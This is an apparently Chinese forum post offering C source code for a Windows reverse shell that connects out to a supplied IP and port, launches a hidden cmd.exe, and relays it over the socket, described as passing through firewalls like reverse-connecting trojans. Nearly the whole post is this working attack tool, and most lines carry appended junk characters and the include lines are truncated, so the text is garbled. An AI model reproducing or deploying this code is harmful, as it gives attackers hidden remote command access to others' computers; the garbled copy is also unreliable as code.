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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !;k ^  
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/* ============================== ^zG!Z:E  
Rebound port in Windows NT ']X0g{%  
By wind,2006/7 m[N&UM#  
===============================*/ Y\(?&7Aax  
#include 0V2~  
#include =k!F`H`/%'  
[S.zWPX9{  
#pragma comment(lib,"wsock32.lib") bGj<Dojl  
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void OutputShell(); S.C7%XU  
SOCKET sClient;  )Z:maz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OtT*)8*c  
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void main(int argc,char **argv) +sd':vE  
{ U!lWP#m  
WSADATA stWsaData; fL&e^Q  
int nRet; &b19s=Z,  
SOCKADDR_IN stSaiClient,stSaiServer; lqoVfj'6M  
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if(argc != 3) K}LF ${bS  
{ #vcQ =%;O  
printf("Useage:\n\rRebound DestIP DestPort\n"); SR/ "{\C  
return; URyY^+s  
} 8 vvNn>Q  
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WSAStartup(MAKEWORD(2,2),&stWsaData); iSMVV<7  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @Y6~;(p  
'sjks sy.3  
stSaiClient.sin_family = AF_INET; {\k:?w4  
stSaiClient.sin_port = htons(0); dpcv'cRfw  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r?Pk}Q  
Op iVQr:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H]0(GLvH  
{ 1lv. @-  
printf("Bind Socket Failed!\n"); %BkPkQA  
return; "Z a}p|Ct  
} niCq`!  
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stSaiServer.sin_family = AF_INET; 4}^\&K&t{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); # 9ZO1\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .YIb ny1  
qd [Z\B  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j&,%v+x  
{ :\#/T,K"  
printf("Connect Error!"); _M[T8"e(  
return; {y>Kcfc/?E  
} ur/:aI  
OutputShell(); `lE8dwL  
} L?hWH0^3  
}RkD7  
void OutputShell() S#Pni}JD  
{ Q"`J-#L  
char szBuff[1024]; .iEzEmu  
SECURITY_ATTRIBUTES stSecurityAttributes; Io)@u~yz  
OSVERSIONINFO stOsversionInfo; g _u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x):h|/B  
STARTUPINFO stStartupInfo; |H-zm&h>'  
char *szShell; t=r*/DxX=  
PROCESS_INFORMATION stProcessInformation; &qeM YYY  
unsigned long lBytesRead; ;c>IM]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4ko(bW#jL  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7Dx <Sr!  
stSecurityAttributes.lpSecurityDescriptor = 0; C5'#0}6i  
stSecurityAttributes.bInheritHandle = TRUE; ;jT@eBJ  
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k*= #XbX  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @RI\CqFHR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RD'i(szi?  
O8w|!$Q.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G9a6 $K)b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {rZ )!  
stStartupInfo.wShowWindow = SW_HIDE; Ha20g/ UN.  
stStartupInfo.hStdInput = hReadPipe; ^e WD4Vp|4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K<ok1g'0  
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GetVersionEx(&stOsversionInfo); \MFjb IL  
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switch(stOsversionInfo.dwPlatformId) By}>h6`[  
{ BjCg!6`XF  
case 1: x]jJ  
szShell = "command.com"; X/`M'8v.%  
break; nfjwWDH  
default: ;_= +h,n  
szShell = "cmd.exe"; *z\L  
break; HFrwf{J  
} JG!@(lr  
ir3EA'_>N  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <Yy|.=6 D  
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send(sClient,szMsg,77,0); ygfUy  
while(1) =GSe$f?  
{ "iTi+UZxe  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jr=erVHK  
if(lBytesRead) f 8836<c  
{ ~5b^Gvb?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Eh&HN-&  
send(sClient,szBuff,lBytesRead,0); H)l7:a  
} YhNO{4D  
else /%w3(e  
{ GbN|!,X1m  
lBytesRead=recv(sClient,szBuff,1024,0); l^%W/b>?b  
if(lBytesRead<=0) break; K';x2ffj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :f5"w+  
} eww/tGa  
} "Z*u2_ H  
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return; jz72~+)T  
}
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